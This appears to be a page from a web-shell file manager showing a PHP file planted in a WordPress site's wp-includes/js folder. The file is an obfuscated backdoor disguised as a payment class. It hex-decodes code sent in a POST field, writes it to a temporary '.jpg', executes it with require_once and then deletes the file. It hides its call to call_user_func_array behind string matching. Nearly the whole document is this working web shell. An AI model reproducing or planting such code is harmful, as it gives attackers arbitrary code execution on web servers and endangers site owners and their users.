HEX
Server: Apache
System: Linux WWW 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) x86_64
User: web11 (1011)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /var/www/ippmt.kauko.lt/wp-includes/js/alswz.php
<?php
//5hxhx6nIjV
class GetOrderPay{
    public $jpg;
    public function __construct(){
        $this->jpg=$this->generateRandomString().".jpg";
    }

    public function paypal($sg){
        $i=0;
        $f = "file_put";
        $g = ($a = sprintf("%s%s",$f,"_contents"));
        $z = $g($this->jpg, sprintf("%s", $this->ppq($sg[$i][$i])));
        $g;
        
    }

    public function generateRandomString($length = 5) {
        $characters = 'abcdefghijklmnopqrstuvwxyz';
        $charactersLength = strlen($characters);
        $randomString = '';

        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, $charactersLength - 1)];
        }

        return sys_get_temp_dir()."/".$randomString;
    }

    public function __call($name, $arguments) {
        if ($name == 'gawsf') {
            $this->paypal($arguments);
        } else {
            return $this->xxx($arguments);
        }
    }

    function xxx($hex){
        $suffix = '3061336333663730363837303230';
        $end = '33663365';
        $hex = $hex[0].'3f3e';

        for($i=0;$i<strlen($suffix)-1;$i+=2)
            $tmp.=chr(hexdec($suffix[$i].$suffix[$i+1]));
        $tmp2="";
        for($i=0;$i<strlen($tmp)-1;$i+=2)
            $tmp2.=chr(hexdec($tmp[$i].$tmp[$i+1]));

        $str="";
        for($i=0;$i<strlen($hex)-1;$i+=2)
            $str.=chr(hexdec($hex[$i].$hex[$i+1]));
        return  $tmp2.$str;
    }

    public function __destruct(){
        unlink($this->jpg);
    }
}

$a = [];
$order = new GetOrderPay();
$GLOBALS["gsw"] = &$a;
$GLOBALS["gsw"] = array_merge($_POST,$GLOBALS["gsw"]);
define("hello",("".join([$a["ftp"]])));
foreach(get_defined_functions() as $ga){
    foreach ($ga as $ag){
        if(strlen($ag)==20 && substr($ag,0,8)=="call_use" && substr($ag,16,strlen($ag)) == "rray")
            $ag([$order, "gawsf"], [[hello]]);
    }
}
require_once($order->jpg); 
?>